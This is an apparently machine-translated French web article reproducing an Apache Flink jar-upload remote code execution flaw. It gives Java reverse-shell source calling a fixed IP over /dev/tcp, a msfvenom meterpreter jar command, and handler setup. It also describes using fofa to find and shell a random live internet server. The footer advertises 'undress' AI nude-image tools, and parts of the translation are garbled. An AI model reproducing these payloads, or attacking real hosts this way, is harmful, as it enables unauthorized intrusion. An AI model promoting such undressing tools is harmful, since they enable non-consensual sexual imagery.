


Exemple d'analyse de l'exécution de code à distance provoquée par le téléchargement d'un package jar dans Apache Flink
Description de la vulnérabilité :
Le 11 novembre 2019, l'ingénieur en sécurité Henry Chen a divulgué une vulnérabilité qui permet à Apache Flink de télécharger des packages jar sans autorisation, conduisant à l'exécution de code à distance. Étant donné que le tableau de bord Apache Flink est accessible par défaut sans authentification, un shell peut être obtenu en téléchargeant un package jar malveillant et en déclenchant l'exécution de code malveillant.
Portée d'influence
<= 1.9.1 (dernière version)
Construction de l'environnement :
(1) Installez Java à l'avance (nécessite java8 ou supérieur)
(2) Téléchargez flink- 1.9.1
Adresse de téléchargement : https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) Décompressez et téléchargez Le package compressé :
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) Allez dans le répertoire décompressé et allez dans son répertoire bin :
(5) Démarrez flink :
./start-cluster.sh
(6) Vérification de l'accès au navigateur (le port par défaut est 8081):
http://172.26.1.108:8081
Lorsque l'image ci-dessus apparaît, la construction est réussie.
(7) Configurez le démarrage automatique au démarrage (j'ai du mal ici depuis un longtemps et je ne peux pas me lever. Directement source /etc /rc.d/rc.local peut être démarré, mais flink ne sera pas démarré après le redémarrage. Enfin, une solution a été trouvée)
Paramètres de démarrage automatique. au démarrage
Récurrence de la vulnérabilité :
étapes de production du package jar :
(1) Reportez-vous à l'article https://klionsec.github.io/2016/09/27/revese-shell/#menu pour utiliser Java pour Rebondissez le shell
remember pour modifier l'IP et le port:
Code:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>b. le projet Java correspondant, le chemin d'exportation et le nom du fichier d'exportation</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>image</p> <p> comme celle-ci Un package jar pour le shell de rebond est généré<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>msf génère un cheval de pot :<p></p>(1) Utilisez msfvenom pour générer un cheval de pot :<p> </p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) Après avoir téléchargé le jar horse que nous avons généré et soumis dessus (se référer à la reproduction ci-dessous pour cette partie de l'opération), vous pouvez constater que nous avons bien reçu la coque :
Reproduction locale :
(1) Cible d'accès :
(2) Cliquez sur Soumettre un nouveau travail pour ouvrir la page de téléchargement du package jar :
(3) Cliquez sur Ajouter un nouveau pour sélectionner le package jar que nous avons créé :
(4) Surveillez le port de notre machine (le package jar le paquet que nous avons fabriqué fait directement rebondir la coque)
(5) Cliquez sur le paquet de pot que nous venons de télécharger :
(6) Ensuite, cliquez simplement sur Soumettre et vous pouvez voir que nous avons reçu avec succès la coque :
Site Internet :
fofa Mots-clés :
(1) Trouvez une cible aléatoire :
(2) Cliquez sur Soumettre un nouveau travail, vous pouvez voir que cela nous permet de télécharger le pot packages
(3) Utilisez la fonction flink pour télécharger le package jar pour télécharger notre package jar :
#🎜 🎜## 🎜🎜#(4) Après le téléchargement, nous surveillons le port sur notre vps
(5) Revenez ensuite au navigateur, sélectionnez le package jar que nous venons de télécharger, et cliquez sur Soumettre Soumettre, vous pouvez voir que notre vps a reçu avec succès le shell Paramètres recommandés Politique de pare-feu, autoriser uniquement les adresses IP de la liste blanche à accéder au service Apache Flink et ajouter une authentification Digest pour le service dans le proxy Web (tel qu'Apache httpd).
Faites toujours attention au site officiel et attendez les nouvelles versions ou les mises à jour de correctifs
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Comment importer des packages jar dans Eclipse : 1. Créez un nouveau projet Java ; 2. Créez un dossier de bibliothèque ; 3. Copiez le package jar dans le dossier de bibliothèque ; 4. Configurez le chemin de construction du projet ; chemin de construction ; 6. Configurez le chemin de construction du projet ; 7. Vérifiez les résultats de l'importation ; 8. Précautions ; 10. Nettoyer et mettre à jour la bibliothèque ; Introduction détaillée : 1. Créez un nouveau projet Java, démarrez Eclipse IDE, sélectionnez le menu "Fichier" dans la barre de menu supérieure, etc.

Les étapes pour que Maven importe un package jar : 1. Téléchargez le package jar ; 2. Créez un projet Maven 3. Ajoutez des dépendances 4. Ajoutez des éléments de dépendance ; 7. Vérifiez l'importation. Introduction détaillée : 1. Téléchargez le package jar. Téléchargez d'abord le package jar requis à partir du site Web ou de l'entrepôt de code source concerné. Assurez-vous que le package jar téléchargé est compatible avec votre projet et répond aux exigences de version requises. 2. Créez un projet Maven. S'il n'y a pas encore de projet Maven, vous devez d'abord en créer un et ainsi de suite.

Titre : Tutoriel avancé Maven : Exploration approfondie de diverses méthodes d'importation de packages Jar. En tant qu'outil de gestion de projet Java, Maven est largement utilisé dans la construction de projets, la gestion des dépendances, etc. Dans le processus de développement actuel, nous utilisons souvent des packages Jar de diverses bibliothèques tierces, et comment importer efficacement des packages Jar est devenu une compétence qui doit être maîtrisée. Cet article approfondira les méthodes d'importation de packages Jar dans Maven, y compris l'utilisation de packages Jar locaux, de packages Jar d'entrepôt distant et de packages Jar personnalisés, et donnera des détails spécifiques.

SparkStreaming et Flink sont tous deux des frameworks de traitement de flux avec des fonctionnalités différentes : Modèle de programmation : SparkStreaming est basé sur le modèle SparkRDD, tandis que Flink possède sa propre API de streaming. Gestion de l'état : Flink dispose d'une gestion d'état intégrée, tandis que SparkStreaming nécessite des solutions externes. Tolérance aux pannes : Flink est basé sur des instantanés, tandis que SparkStreaming est basé sur des points de contrôle. Évolutivité : Flink est basé sur des chaînes d'opérateurs de flux, tandis que SparkStreaming est basé sur la mise à l'échelle du cluster. Dans les cas d'utilisation de l'agrégation de données en temps réel, Flink fonctionne généralement mieux que SparkStreaming car il offre un meilleur débit

Avec l’avènement de l’ère du Big Data, le traitement des données est devenu un problème auquel il faut prêter attention et résoudre dans diverses industries. En tant qu’outil de traitement de données performant, l’émergence de Flink nous apporte une solution efficace, fiable et évolutive. Dans cet article, nous présenterons comment utiliser Flink dans le langage Go pour obtenir un traitement efficace des flux de données. 1. Introduction à Flink Apache Flink est une plateforme de traitement de données distribuée open source dont l'objectif est de fournir un moyen efficace, fiable et évolutif de traiter des données à grande échelle.

Guide d'utilisation et précautions du package MySQL Jar MySQL est un système de gestion de bases de données relationnelles couramment utilisé. De nombreux projets Java utilisent MySQL comme backend pour le stockage des données. Dans un projet Java, pour interagir avec la base de données MySQL, vous devez utiliser le pilote Java (c'est-à-dire le package Jar) fourni par MySQL. Cet article présentera les directives d'utilisation et les précautions pour le package MySQL Jar, et fournira des exemples de code spécifiques pour aider les lecteurs à mieux utiliser le pilote MySQL. 1.M

Guide de démarrage Maven : Comment importer correctement les packages Jar ? Maven est un puissant outil de gestion de projet qui peut aider les développeurs à gérer les dépendances des projets, à créer des projets, etc. Pendant le développement du projet, nous devons souvent importer des packages Jar externes pour implémenter certaines fonctions. Cet article explique comment utiliser Maven pour importer correctement les packages Jar et fournit des exemples de code spécifiques. Tout d'abord, nous devons ajouter des dépendances sur les packages Jar requis dans le fichier pom.xml de Maven. Dans pom.xml, il y a un

Le package Jar de MySQL fait référence au package de pilotes Java utilisé pour connecter et faire fonctionner la base de données MySQL. Dans le développement Java, la fonction d'interaction avec la base de données MySQL doit être implémentée via le package Jar. Le package Jar de MySQL fournit une série de classes et de méthodes qui permettent aux développeurs de se connecter facilement à la base de données MySQL, d'exécuter des instructions SQL, d'obtenir des résultats de requête et d'autres opérations. Dans des circonstances normales, les développeurs peuvent télécharger le package MySQL Jar via le site officiel ou le référentiel Maven et d'autres canaux, puis
